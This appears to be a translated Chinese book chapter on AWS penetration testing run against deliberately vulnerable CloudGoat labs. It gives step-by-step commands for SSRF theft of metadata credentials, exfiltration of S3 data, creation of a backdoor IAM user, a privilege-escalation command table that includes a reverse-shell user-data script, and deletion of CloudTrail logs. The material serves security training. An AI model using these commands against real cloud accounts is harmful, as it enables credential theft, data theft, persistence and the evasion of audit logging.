Scout Suite 是一个开源云安全审计工具,支持 AWS、GCP 和 Azure 等多云环境。此外,该工具目前正处于针对 Oracle 和阿里云的 alpha 版本阶段。此工具使用 Python 编写,利用公开的 API 收集配置信息,以提供给定云环境的攻击面。该项目由 NCC Group 积极维护,同时该工具也提供商业服务。可以通过克隆仓库并运行以下命令安装 Scout 至 Kali Linux:
sudo git clone https://github.com/nccgroup/ScoutSuite
cd ScoutSuite
sudo pip3 install –r requirements.txt
sudo ./setup.py install
sudo scout aws --profile <profilename>
图 8.6展示了在 AWS 上使用特定配置文件启动 Scout 安全审计工具的过程。
图 8.6:在 AWS 上使用我们的配置文件运行 Scout
扫描完成后,Scout 会在与运行工具相同的文件夹内创建一个 HTML 报告。测试人员将能够列出与所扫描配置文件相关的错误配置/漏洞。图 8.7展示了报告输出:
图 8.7:Scout 输出报告
后续小节详细描述了 AWS 的功能/选项和说明,帮助渗透测试人员理解他们应该关注的内容,如图 8.8所示:
图 8.8:Scout 报告中的详细 IAM 部分
Prowler 是另一款专门设计用于执行 AWS 检查的安全工具,涵盖了所有 AWS 区域和组的安全最佳实践。该工具还预构建了与各种基准(CIS、GDPR、HIPAA、PCI-DSS、ISO-27001、FFIEC、SOC2 等)的映射。此工具结合多种 Bash 脚本编写,利用已配置的配置文件的现有权限执行本地检查。可以通过克隆仓库并在终端运行以下命令将其安装到 Kali Linux 上:
sudo git clone https://github.com/toniblyx/prowler
cd prowler
最新版本的 Prowler 是 v2.5.0。测试人员可以通过简单地运行sudo ./prowler –p <profile name>
来验证扫描活动,如图 8.9所示:
图 8.9:从 Kali Linux 运行 Prowler 云安全工具
攻击者可以利用 AWS 命令行界面备忘单,链接地址为 www.bluematador.com/learn/aws-cli-cheatsheet
让我们继续识别配置文件 RCE 中可用的实例列表,方法是在终端运行以下命令:
sudo aws ec2 describe-instances --profile <Profile Name>
这应该提供如图 8.10所示的实例详细信息,包括公共和内部 IP 详情:
图 8.10:Scout 报告中的详细 IAM 部分
在实例的详细信息中(完整输出未显示在图 8.10中),我们可以看到公共 IP 被配置到特定的安全组。如果你从上述命令的输出中找到 "RootDeviceType"
,它会指向 "ebs"
,这意味着该 IP 地址不可公开访问。
下一步是通过在 Kali Linux 终端运行 sudo aws elbv2 describe-load-balancers –-profile RCE
来找出哪些负载均衡器配置了该设备:
sudo aws elbv2 describe-load-balancers --profile <Profile Name>
EC2 负载均衡器的输出返回了特定的 DNS 名称,如图 8.11所示:
图 8.11:提取弹性负载均衡器的详细信息
最后,我们现在能够访问负载均衡器,如图 8.12所示。下一步是识别其他可用资源:
图 8.12:访问弹性负载均衡器的公共 DNS
接下来,我们将在终端运行 sudo aws s3 ls –profile RCE
来查找 S3 桶中我们配置文件的权限。此配置文件仅对 S3 桶中的日志文件夹具有访问权限,如图 8.13所示:
图 8.13:使用 RCE 配置文件访问 S3 桶
我们通过运行 sudo aws s3 ls s3://<bucket>/pathofthefile --profile –-region us-east-1
列出 S3 桶中的所有目录,并通过运行终端中的以下命令复制文件,如图 8.14所示:
sudo aws s3 cp s3://<bucket>/Path to the file>. --profile <Profile Name> --region us-east-1
图 8.14:从 S3 桶复制日志文件
分析日志文件后,我们发现有多个请求的 HTTP 响应码是 200
,并且每个请求都有一个唯一的 HTML 文件与之关联,如图 8.15所示:
图 8.15:分析日志文件并识别 URI
最后,访问该 URL 后将进入表单提交页面,该页面存在远程代码执行漏洞,测试人员现在可以在服务器上运行命令:
图 8.16:成功在服务器上执行命令
我们现在通过利用现有权限,查看实例、负载均衡器配置以及可以从 S3 存储桶访问的文件,成功地在 Web 应用程序上进行了远程代码执行。让我们尝试使用另一个配置文件(mcduck
),了解如何进一步接管 AWS 环境中的运行中的 EC2 实例。测试人员可以运行sudo aws ec2 describe-instances --profile mcduck --region us-east-1
来查看实例详细信息,如图 8.17所示:
图 8.17:使用 mcduck 配置文件识别实例
我们可以看到预留和实例的详细信息,包括imageID
及其位置。在这些详细信息中,我们可以找到实例的公共 IP 地址和 DNS 名称,以及所有的网络和子网信息,如图 8.18所示:
图 8.18:识别实例的公共 IP 和公共 DNS
拥有公共 IP 的攻击者现在可以探索可能存在于 S3 存储桶中的任何密钥信息。要查看可访问的 S3 存储桶,请运行sudo aws s3 ls ––profile ––region us-east-1
,然后复制文件夹类型sudo aws s3 cp s3://bucket/folder/ ./keys ––profile mcduck ––region us-east-1
,如图 8.19所示:
sudo aws s3 cp s3://<bucket>/<folder>/ .<outputfolder> --profile <Profile Name>
图 8.19:使用 mcduck 配置文件访问 S3 配置文件
现在,此配置文件仅能访问密钥库,我们已经将公钥和私钥复制到本地的 Kali Linux 中。下一步是通过运行sudo chmod 400 cloudgoat
来更改私钥的文件权限,然后通过运行ssh –i cloudgoat ubuntu@PublicIP
直接使用安全外壳登录 EC2 实例,如图 8.20所示:
sudo chmod 400 privatekey
sudo ssh –i privatekey Ubuntu@publicDNSofEC2
图 8.20:从获得的私钥登录 AWS 实例
现在,我们可以获得 Ubuntu EC2 实例的内部访问权限,通过在远程系统的终端中直接访问http://169.254.169.254/latest/user-data
来访问元数据服务:
curl http://169.254.169.254/latest/user-data
图 8.21:访问 EC2 实例中的元数据服务
尝试使用用户名和密码登录postgresql
以识别秘密密码:
psql postgresql://cgadmin:Purplepwny2029@<rds-instance>:5432/cloudgoat
\dt
select * from sensitive_information
图 8.22:成功连接到数据库并访问数据库中的明文密码
在 EC2 实例中,我们现在可以检查哪些 S3 存储桶是可访问的。在访问存储桶之前,确保 Ubuntu 已安装awscli
,可以通过在终端中运行sudo apt-get install awscli
来安装,然后运行以下命令以查看最终目标,如图 8.23所示:
sudo aws s3 ls
sudo aws s3 ls s3://cg-secret-s3-bucket-cgid<uniqueID> --recursive
aws s3 cp s3://cg-secret-s3-bucket-cgidzay5e3vg5r/db.txt .
cat db.txt
图 8.23:从 S3 存储桶中提取数据库详细信息
最后一个重要步骤是通过返回到 CloudGoat Docker 镜像并运行./cloudgoat.py destroy all
来销毁设置。你应该会看到确认信息,如图 8.24所示:
图 8.24:使用 CloudGoat 销毁 rce_web_app 云设置
我们已经探讨了 AWS 设置中的安全配置错误和易受攻击的 Web 应用程序。接下来,我们将探讨可以利用的不同方法,以便在下一节中利用 S3 桶。
测试 S3 桶的配置错误
S3 通常被组织用来存储文档、代码、文件上传等内容。通常,桶可以是公开的或私有的。公开时,所有用户都可以列出其中的内容;私有时,只有特定的用户可以列出其中的内容。尽管 S3 的漏洞一直是新闻关注的焦点,尤其是开发人员将关键任务信息存储在标记为“公开”的桶中。在本节中,我们将探讨如何识别 S3 桶以及利用配置错误来获取对内部 AWS 基础设施的访问权限。
为了练习 S3 桶配置错误,我们将通过在 CloudGoat Docker 镜像中运行以下命令来设置一个易受攻击的 S3 实例:
./cloudgoat create cloud_breach_s3
一旦设置完成,测试人员应该能够从部署工具中看到包含 AWS 账户 ID 和目标 IP 地址的以下信息,如图 8.25所示:
图 8.25:使用 CloudGoat 成功创建 cloud_breach_s3 AWS 环境
识别外部 IP 上运行的内容后,攻击者可以选择对该 IP 进行端口扫描。在这种情况下,端口80
是开放并可访问的:
-
使用
curl http://<IP 地址>
命令访问 IP 地址。你将收到一个关于 EC2 元数据服务的错误信息,如图 8.26所示:图 8.26:访问公共 IP 地址
-
云服务提供商确实有能力管理云消费者云原生应用程序中资源的凭证。如果正确执行,那么就可以避免将凭证存储为明文或在源代码库中存储。在 AWS 中,实例元数据服务(IMDS)提供有关给定实例的数据,可用于配置或管理正在运行的实例。AWS 使用
169.254.169.254
IP 地址返回托管的元数据服务。因此,我们将添加主机头,通过运行curl http://<IP 地址> -H 'Host:169.254.169.254'
来检索目标 IP 的内容,这将返回网站根目录的内容,如图 8.27所示。攻击者可以选择使用 Burp Suite 拦截流量,并向请求中添加主机头,浏览文件夹和目录。图 8.27:成功访问带有元数据服务的 IP
-
浏览完目录后,我们请求
/latest/meta-data/iam/security-credentials/cg-bank-WAF-Role-cg<ID>
文件,该文件返回AccessKeyID
、secretAccessKey
和会话令牌,如 图 8.28 所示。会话令牌表明凭证是基于时间的。然而,如果测试者遇到 IMDS v2,则需要额外的令牌来获取凭证:图 8.28:成功生成凭证,使用 AWS 元数据服务
-
下一步是根据上述信息为我们的 Kali Linux 配置 AWS 配置文件,如 图 8.29 所示:
sudo aws configure -–profile S3exploit
图 8.29:在 Kali Linux 中为 S3 漏洞创建新配置文件
-
配置好配置文件后,我们将继续通过编辑 AWS 凭证文件来添加会话令牌。该文件的默认位置是
~/.aws/credentials
。在我们的案例中,我们通过sudo
运行所有aws
命令,因此所有凭证和其他详细信息将存储在 root 用户下。我们将使用最喜欢的编辑器编辑位于/root/.aws/credentials
的文件:sudo nano /root/.aws/credentials
如 图 8.30 所示,添加在 步骤 3 中获得的
aws_session_token
:图 8.30:将 aws_session_token 添加到凭证文件中
-
现在,下一步是通过在终端运行以下命令来检查我们是否能够访问 S3 桶:
sudo aws s3 list –-profile S3exploit
-
从上一步骤开始,我们现在可以通过运行 图 8.31 中显示的命令,将 S3 桶的内容下载到本地主机:
sudo aws s3 sync s3://<Name of the bucket> ./newfolder –profile S3exploit
图 8.31:将 S3 桶内容复制到本地系统
-
我们现在已经利用配置错误的 S3 桶,成功从目标组织外泄数据。你现在应该能够查看包含所有 个人身份信息 (PII) 的持卡人数据,如 图 8.32 所示:
图 8.32:复制的数据内容,包括个人身份信息
-
最后一步是回到 CloudGoat Docker 镜像,确保销毁已创建的实例,以避免任何意外的暴露给真实攻击者或来自 Amazon 的账单费用,通过在 Docker 镜像内运行以下命令:
./cloudgoat destroy cloud_breach_s3
理解 S3 中的配置错误可能导致数据外泄。如果用户权限配置错误会怎样?我们将在下一部分探讨这一问题。
利用安全权限缺陷
以下是 AWS 云服务中最常见的漏洞:
-
过多的公共子网 – 大多数组织使用 AWS 中内置的默认 VPC(虚拟私有云)功能,在使用 AWS 服务时很少进行更改,采用的是一种简便的方法。然而,这种方法在许多案例中已经证明是危险的(一个例子是基于僵尸网络的加密勒索软件)。公共子网对互联网上的任何人开放,可能会暴露一些本不应公开的信息。
-
IAM(身份和访问管理)问题,出现在那些未为高权限账户启用双因素或多因素认证,并且几乎所有事务都使用同一个账户的组织中,这种做法使得所有新账户具有相同的访问权限,从而使其面临风险。曾经发生过员工账户通过电子邮件钓鱼攻击被入侵,导致了大规模的勒索软件攻击,给组织带来的损失几乎相当于重建整个公司的费用。
-
配置错误的 S3 桶 – 在前一节中,我们探讨了 S3 桶权限配置错误的问题。这是云渗透测试中最常见的主题之一。尽管桶默认是私有的,但有时 IT 操作/开发团队或管理这些基础设施的第三方会将其设置为公开。这就使得桶面临不可避免的威胁,攻击者可能会发现配置错误的 S3 桶,获取其中的敏感信息,如私钥或无人管理的文件,包括备份或日志文件。
-
源服务器 – 大多数云服务提供商利用 内容分发网络(CDN)将内容分发给高流量客户。大多数情况下,这些配置错误,泄露了源服务器的地址。我们的一位渗透测试人员举了一个例子,说明这种泄漏如何导致安全漏洞。在渗透测试中,发现源服务器并直接攻击其漏洞,甚至通过暴力破解风格的攻击接管数据库并不罕见。
-
SSRF(服务器端请求伪造)– 这是一种攻击手段,可以利用合法的 AWS 功能来获取元数据,并且如果成功利用,攻击者可以检索到有效的 IAM 角色用户凭证。在本节中,我们将探讨这种攻击。
-
DNS 记录 – 在初步侦察阶段,攻击者通常可以通过组织的子域名轻松识别出 S3 桶的详细信息。问题出现在操作团队未能及时更新 DNS 记录,或者令人惊讶的是,甚至会退役一些无人管理的 S3 桶,而这些桶仍然处于开放状态,任何人都可以通过互联网访问。
综合以上信息,我们将设置 CloudGoat,创建一个有漏洞的 AWS 部署环境,在这里我们将通过执行 SSRF 攻击来利用 AWS 的合法功能。以下是执行此攻击的逐步说明:
-
通过返回 CloudGoat Docker 镜像并在终端运行
./cloudgoat.py create ec2_ssrf --profile masteringkali
来部署易受攻击的 AWS 设置,这将设置基础设施并提供以下确认,包括访问 ID 和密钥对:图 8.33:使用 CloudGoat 创建 ec2_ssfr AWS 环境
-
在 Kali Linux 中创建 AWS 配置文件,通过运行
sudo aws configure ––profile ssrf
,如图 8.34所示,并输入Access Key ID
和Secret Access Key
:图 8.34:在 Kali Linux 中配置 AWS 配置文件
-
我们可以通过运行
enumerate-iam
工具来列举访问密钥的权限,首先通过sudo git clone https://github.com/andresriancho/enumerate-iam
从 Git 直接克隆,然后运行cd enumerate-iam
。接着,通过运行sudo pip3 install –r requirements.txt
来安装所需的包。一旦完成,我们可以通过输入sudo python3 enumerate-iam.py ––access-key xx ––secret-key xx
来运行 enumerate 工具,如图 8.35所示。这将提供如关联用户、账户 ID 以及其他服务列表等详细信息。https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/ms-kali-adv-pentest-4e/img/B17765_08_35.png图 8.35:使用 enumerate-iam.py 列举 AWS 账户的访问和密钥对
-
让我们通过运行
sudo aws lambda list-functions ––profile ssrf ––region us-east-1
来探索该 ID 可以访问的 lambda 函数,这将为我们提供一个可访问的 lambda 函数列表,如图 8.36所示:图 8.36:AWS Lambda 中可用的函数列表,该列表对该配置文件可用
用户在运行上述命令时可能会遇到错误信息:
An error occurred (InvalidSignatureException) when calling the ListFunctions operation: Signature expired
。这是由于时间问题。建议测试人员在终端运行sudo apt install ntpupdate
和sudo ntpdate pool.ntp.org
。 -
Lambda 正在暴露访问密钥和密钥对。让我们通过在终端运行
sudo aws lambda get-function –function-name cg-lambda-cg<randomid> --profile ssrf –region us-east-1
来获取有关特定函数的更多信息。这样应该会返回有关此 lambda 函数的更详细信息:图 8.37:AWS 中特定 lambda 函数的完整详细信息
-
我们现在将使用从 lambda 函数获得的密钥配置我们的 Kali Linux,并将其命名为
lambda-solus
,如图 8.38所示:图 8.38:在 AWS 中配置 AWS 配置文件,用于从 lambda 函数中获取的新访问密钥
-
通过运行
sudo aws ec2 describe-instances –region us-east-1 –profile lambda-solus
,让我们来查看该配置文件可用的实例。这样应该会列出实例的详细信息以及公共 IP 地址,如图 8.39所示:图 8.39:通过 lambda-solus 配置文件访问云实例详情
-
一旦我们获得了公共 IP 地址,就可以通过端口
80
访问实例,你应该能够在服务器上看到图 8.40中的错误信息:图 8.40:访问公共 IP 上的 Web 服务器
-
攻击者可以选择在 IP 地址上运行任何类型的扫描器,例如 Nikto 或 OWASP ZAP。当攻击者能够欺骗 Web 应用程序代表他们向特定 URL 发出 HTTP 请求时,该应用程序就容易受到 SSRF 攻击。在我们的案例中,将
/?url=<attacker controlled URL>
添加到 IP 地址后,我们就能控制 Web 应用程序代表我们发出 HTTP 请求。让我们利用该应用程序调用元数据 API,通过将 URLhttp://168.254.169.254/latest/meta-data/iam/security/security-credentials/<Nameofthefile>
添加到图 8.41所示的参数中,来获取凭证,这将检索可以被测试者利用的临时凭证:图 8.41:对 Web 应用程序执行 SSRF 攻击以检索临时凭证
-
通过运行
sudo aws configure –profile ec2-temp
在 Kali Linux 中配置 AWS 配置文件,如图 8.42所示,并确保aws_session_token
已添加到aws credentials
文件中,然后通过运行sudo aws s3 ls –profile ec2-temp
访问 S3 存储桶。这将列出名为cg-secret-s3-bucket-<randomid>
的存储桶:图 8.42:列出使用临时凭证的 S3 存储桶
-
通过运行
sudo aws s3 sync s3://<bucketname><folder><file> location –profile
下载此存储桶的全部内容,如下图所示。耶!我们现在从该存储桶获取了高权限用户的访问详情。这类似于在内部渗透测试中获取域管理员权限:图 8.43:下载秘密并使用管理员配置文件配置 Kali Linux
-
在 Kali Linux 中使用
ec2-admin
配置文件配置 AWS 后,攻击者现在可以在 EC2 环境中执行任何操作。例如,我们现在可以通过运行sudo aws iam list-users –profile ec2—admin
来查看所有用户,如图 8.44所示:https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/ms-kali-adv-pentest-4e/img/B17765_08_44.png图 8.44:从管理员配置文件列举用户
-
通过运行
sudo iam list-attached-user-policies –username <nameofuser> --profile ec2-admin
来查看与用户相关联的策略,如图 8.45所示:图 8.45:访问用户附加的策略
请注意,以下两步仅用于演示如何使用命令行创建
aws iam
访问密钥和用户。测试人员必须意识到,如果这些步骤在 CloudGoat 部署的 AWS 环境中执行,那么销毁实例将变得不可能,因为 CloudGoat 只能删除它通过脚本创建的实例。 -
现在,你应该能够通过运行
sudo iam create-access-key –username <Username> --region us-east-1 –profile ec2-admin
来更改任何用户的密钥:https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/ms-kali-adv-pentest-4e/img/B17765_08_46.png图 8.46:为用户创建新的访问密钥
-
此外,你可以通过运行
sudo aws iam create-user –username backdoor –profile ec2-admin
创建一个新用户作为访问环境的后门,并且应该能够看到新用户被创建,附带一个访问密钥和一个密钥访问密钥,如 图 8.47 所示:https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/ms-kali-adv-pentest-4e/img/B17765_08_47.png图 8.47:为后门访问创建新用户
-
测试人员现在可以返回 CloudGoat Docker 镜像,并通过在终端运行
./cloudgoat.py destroy all
来销毁 AWS 设置。
表格 8.3 提供了渗透测试人员在 AWS 渗透测试过程中可以利用的有用命令参考:
描述 | 命令参考 |
---|---|
创建一个新的策略版本 | aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/ /policy.json –set-as-default |
设置默认策略版本为现有版本 | aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2 |
使用现有实例配置文件创建 EC2 实例 | aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456``aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh |
创建一个新的用户访问密钥 | aws iam create-access-key –user-name target_user |
创建一个新的登录配置文件 | aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@'~68)O{,-$1B"zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9'O~Z",jJ[iT-D^(' –no-password-reset-required |
更新现有登录配置文件 | aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@'~68)O{,-$1B"zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9'O~Z",jJ[iT-D^(' -–no-password-reset-required |
附加策略到用户组角色 | aws iam attach-user-policy –user-name my_username –policy-arn``arn:aws:iam::aws:policy/AdministratorAccess aws iam attach-group-policy –group-name group_i_am_in –policy-arn arn:aws:iam::aws:policy/AdministratorAccess``aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess |
创建/更新用户组角色的内联策略 | aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/policy.json``aws iam put-group-policy –group-name group_i_am_in –policy-name group_inline_policy –policy-document file://path/to/policy.json>``aws iam put-role-policy –role-name role_i_can_assume –policy-name role_inline_policy –policy-document file://path/to/policy.json |
将用户添加到组中 | aws iam add-user-to-group –-group-name target_group –-user-name username |
更新角色的 AssumeRolePolicyDocument | aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json |
更新现有 Lambda 函数的代码 | aws lambda update-function-code -–function-name target_function –zip-file fileb://my/lambda/code/zipped.zip |
表 8.3:渗透测试期间有用的 AWS 命令
混淆 CloudTrail 日志
CloudTrail 是亚马逊提供的一个服务,用于监控用户执行的所有操作。假设攻击者现在拥有高度特权的环境访问权限,他们将能够通过执行以下操作来修改设置:
-
通过运行
sudo aws cloudtrail describe-details –profile <profile name>
来识别 CloudTrail 详情。 -
攻击者可以选择通过运行
sudo aws cloudtrail delete-trail --name cloudgoat_trail --profile <Profile name>
来删除日志轨迹。 -
或者,他们可以通过运行
sudo aws cloudtrail stop-logging --name cloudgoat_trail --profile <Profile name>
来停止日志记录。然而,这将触发 GuardDuty(AWS 内部的威胁检测服务)关于日志未被捕捉的警报。
我们已经通过一些实际例子探讨了云渗透测试的关键方面。渗透测试人员应始终将任何云基础设施视为内部/外部范围的一部分,以确保达成测试目标。
总结
在本章中,我们快速浏览了不同类型的云服务及其面临的攻击。我们深入探讨了 AWS 特有的安全配置错误,特别是通过负载均衡器日志利用远程 Web 应用程序漏洞,并利用配置错误的 S3 存储桶访问内部 EC2 实例。此外,我们还利用实例的权限获取了数据库凭证,并探索了元数据服务头注入攻击。我们学习了如何通过 SSRF 攻击在 AWS 环境中创建后门用户。然后,我们研究了一些在 AWS 渗透测试中可以利用的有用命令行功能。
在下一章中,我们将更专注于如何绕过网络访问控制(NAC)和杀毒软件、用户帐户控制(UAC)以及 Windows 操作系统控制。我们还将探讨诸如 Veil 框架和 Shellter 等工具集。